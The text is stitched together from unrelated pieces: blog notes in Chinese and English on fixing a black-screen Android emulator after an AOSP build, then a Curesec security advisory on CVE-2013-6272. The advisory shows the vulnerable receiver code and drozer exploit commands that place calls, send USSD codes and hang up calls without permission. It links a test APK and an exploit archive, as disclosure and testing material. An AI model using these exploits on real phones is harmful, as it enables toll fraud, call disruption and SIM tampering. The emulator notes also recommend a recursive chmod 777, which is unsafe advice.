Android 4.3 emulator screen stay black and qemu: could not load initrd ‘ramdisk.img’

在编译Android 4.4.2的源码之后, 生成三个img文件,

开始的几个周还能正常使用命令emulator -system system.img -ramdisk ramdisk.img -data userdata.img启动并使用eclipse调试.


突然! 突然! 有一个天! emulator再也不能加载启动三个img文件了!!!

运行以上命令之后, emulator就是一个黑色框框,一直黑色! 一夜都黑色! 天明了, 它还是黑色!

网上搜了如下解决方法, 不再是黑色了. 虽然仍然没有启动起来. 但是总算有点改变了.不再是一成不变的黑色和offlinele了!


现在, 终于启动起来了! 方法为, 不使用Android源码Prebuilt里面的emulator启动,而是使用adt(android-sdk-linux)里面的emulator! (我的路径为: ~/android-sdk-linux/tools/emulator), 你懂的adt就是使用eclipse开发android apk的时候使用的sdk.


export PATH=$PATH:~/android-sdk-linux/tools

确认, which emulator 指向的emulator路径是adt里面的emulator,


emulator -kernel ./prebuilts/qemu-kernel/arm/kernel-qemu-armv7 -sysdir ./out/target/product/generic/  -system ./out/target/product/generic/system.img -ramdisk ./out/target/product/generic/ramdisk.img -data ./out/target/product/generic/userdata.img

启动起来了~ ! 松口气

嗯! 找到原因了.




是因为virtualbox没有使用正确的显卡驱动程序! 若要emualtor正常启动, 必须使virtubal box内的ubuntu启动主机3D加速功能.而, 若显卡驱动没有启动/或者启动不正确, 则emulator仍然不能正常启动. 修正显卡驱动, 就好了!



1. sudo su 

2. source build/

3. setpaths

4.  export ANDROID_BUILD_TOP=/research/android_src/android/  【即增加一个环境变量ANDROID_BUILD_TOP指向android源代码目录】

5. emulator 






After building the 4.3 source code, I try to run the emulator with self-compiled system.img, userdata.img and ramdisk.img, but the emulator’s screen stays black and adb devices shows offline, no output.

Try to use “kernel-qemu-armv7” instead of “kernel-qemu”, solve the balck screen.

But there is still “qemu: could not load initrd ‘ramdisk.img’, after trying several times follow the guide on internet:

1. chmod 777 -R * in ramdisk.img’s path.

2. using full path in -ramdisk

below list my cmd:

/AOSP/out/host/linux-x86/bin/./emulator -kernel /AOSP/prebuilts/qemu-kernel/arm/kernel-qemu-armv7 -sysdir /AOSP/out/target/product/generic/ -system system.img -data userdata.img -ramdisk /AOSP/out/target/product/generic/ramdisk.img -skindir skins/ -skin HVGA -partition-size 768

the skins/ folder is copied from SDK path.





We conducted a deep investigation of android components and created some CVEs and reported bugs to the Android Security Team in late 2013. Today we want to publish one reported and one similar vulnerability.


Authors: Marco Lux, Pedro Umbelino

Affectect Versions:

Version SDK Affected
4.1.1 16 Vulnerable
4.1.2 16 Vulnerable
4.2.2 17 Vulnerable
4.4.2 19 Vulnerable
4.4.4 19 Not Vulnerable


Browsing the code, you can get an idea about its purpose:

public static class NotificationBroadcastReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { String action = intent.getAction(); // TODO: use “if (VDBG)” here. Log.d(LOG_TAG, “Broadcast from Notification: ” + action); if (action.equals(ACTION_HANG_UP_ONGOING_CALL)) { PhoneUtils.hangup(PhoneGlobals.getInstance().mCM); } else if (action.equals(ACTION_CALL_BACK_FROM_NOTIFICATION)) { // Collapse the expanded notification and the notification item itself. closeSystemDialogs(context); clearMissedCallNotification(context); Intent callIntent = new Intent(Intent.ACTION_CALL_PRIVILEGED, intent.getData()); callIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS); context.startActivity(callIntent); } else if (action.equals(ACTION_SEND_SMS_FROM_NOTIFICATION)) { // Collapse the expanded notification and the notification item itself. closeSystemDialogs(context); clearMissedCallNotification(context); Intent smsIntent = new Intent(Intent.ACTION_SENDTO, intent.getData()); smsIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); context.startActivity(smsIntent); } else { Log.w(LOG_TAG, “Received hang-up request from notification,” + ” but there’s no call the system can hang up.”); } }

What’s going on here? There are three actions that this receiver deals with:

1) ACTION_HANG_UP_ONGOING_CALL is a custom action, previously defined in this class to terminate any ongoing calls. This means that, since the receiver has no defined permissions, whatever app sends this action to this receiver can effectively terminate any outgoing call, because this package has permission to do so and the code is executed in this package context.

2) ACTION_CALL_BACK_FROM_NOTIFICATION is also a custom action which leads to this receiver to immediately start a call using the powerful Intent.ACTION_CALL_PRIVILEGED intent. This means that any app can call any number, again without any permissions whatsoever. To notice that USSD codes can also be run, as well as calling emergency numbers and whichever action an user can do with the dial pad (except accessing android secret codes, these don’t seem to run).

3) ACTION_SEND_SMS_FROM_NOTIFICATION opens an SMS box to send to a chosen number. User interaction is required, so it is the least interesting.

Interesting programmers comment on the class:

/** * Accepts broadcast Intents which will be prepared by {@link NotificationMgr} and thus * sent from framework’s notification mechanism (which is outside Phone context). * This should be visible from outside, but shouldn’t be in “exported” state. * * TODO: If possible merge this into PhoneAppBroadcastReceiver. */ public static class NotificationBroadcastReceiver extends BroadcastReceiver {

He explicitly says this “shouldn’t be in ‘exported’ state” what it actually is. This allows us to exploit this issue.

We decided to publish this issue after we had been waiting several months for google to fix it and then went on to check out other code versions.

While in Version 4.1.X – SDK 16 does not exist, there is a file named

Bug: also contains a NotificationBroadcastReceiver class with the exact same code plus the exact same comment: “shouldn’t be in “exported” state.” – right.

So it seems like the bug was introduced in this version and existed ever since.

Another feature that is provided within this component is the ability to run SS and USSD codes (those that would normally require the user to press the SEND button after the code). Android secret codes will not work nor *#06# to see the IMEI, for example.

For SS and USSD codes you always need to press the SEND key after entering them, so they all should work depending on your mobile provider. For manufacture defined MMI this will not work, since the code gets executed immediately with the user pressing send.


For the audience to play, test and execute the vulnerability we provide the following tools:


  • Test application “CRT-Kolme” (includes CVE-2013-6272 and CVE-2014-N/A)
  • Exploits to use with drozer
  • Manual drozer testing commandlines



You can download “Curesec Research Team – Kolme (Callmeh)” at

Source Code:

After installation just click on the Curesec Logo and the testscreen will appear:




Choose the SDK you want to test. If your phone is vulnerable, it will call the number 31337:




Drozer Exploits

In this section we provide a description to exploit the CVE-2013-6272 issue provided exploits for drozer.





#download drozer here #unpack exploits to drozer modules directory tar xjf dz_exploits.tar.bz2 -C drozer/modules # forward tcp and connect to drozer adb forward tcp:31415 tcp:31415 drozer console connect #this conducts a phone call to the specified number dz> run curesec.exploit.callme1 -t #send code to the device for instance dz> run curesec.exploit.callme1 -c #hangup a phone call, if there are several calls going on, one kill per call dz> run curesec.exploit.callme1 -k kill





Drozer Commandline Foo

Hangup an ongoing call or conduct a phone call:


#this terminates any outgoing call! run app.broadcast.send –component$NotificationBroadcastReceiver –action #THIS ALLOWS YOU TO CALL ANY NUMBER! run app.broadcast.send –component$NotificationBroadcastReceiver –action –data-uri tel:555444111

In order to make the codes work, you can use the following command:

run app.broadcast.send –component$NotificationBroadcastReceiver –action –data-uri tel:*%2343%23


The usual # symbol for the MMI codes has to be replaced by %23 to work properly.


1. Why is this a bug?

Android normally has to grant permission so that your applications can conduct actions. If your installed application does not own the right to do a phone call, the Android OS should throw a permission denied.

However this bug is circumventing the situation and allows any malicous app to do a phone call, send mmi or ussd codes or hangup an ongoing call.

2. Is there an app to test this issue on my phone?

You can use the APK we published. You will find details in the next sections.

3. How would an attacker abuse this?

This bug can be abused by a malicious application. Take a simple game which is coming with this code. The game wont ask you for extra permissions to do a phone call to a toll number – but it is able to do it.

This is normally not possible without giving the app this special permission. But not only might it be disturbing or expensive for someone to call a toll number or getting ongoing calls hung up. It is also possible to send USSD codes.

The list of USSD/SS/MMI codes is long and there are several quite powerful ones like changing the flow of phone calls(forwarding), blocking your simcard, enable or disable caller anonymisation and so on.

Please note that Curesec GmbH is not responsible for any damage your device might suffer while you try to execute such codes.

4. Are tools which revoke permissions from apps blocking this attack?

No. As the app does not have the permission but is abusing a bug, such apps cannot easily protect you from this without the knowledge that this bug exists in another class on the system.

5. How can I contact you?


 CRT-Kolme.apk (test application)
 CRT-Kolme.7z (source code)
 dz_exploit (exploit archive cve-2013-6272 and cve-2014-n/a)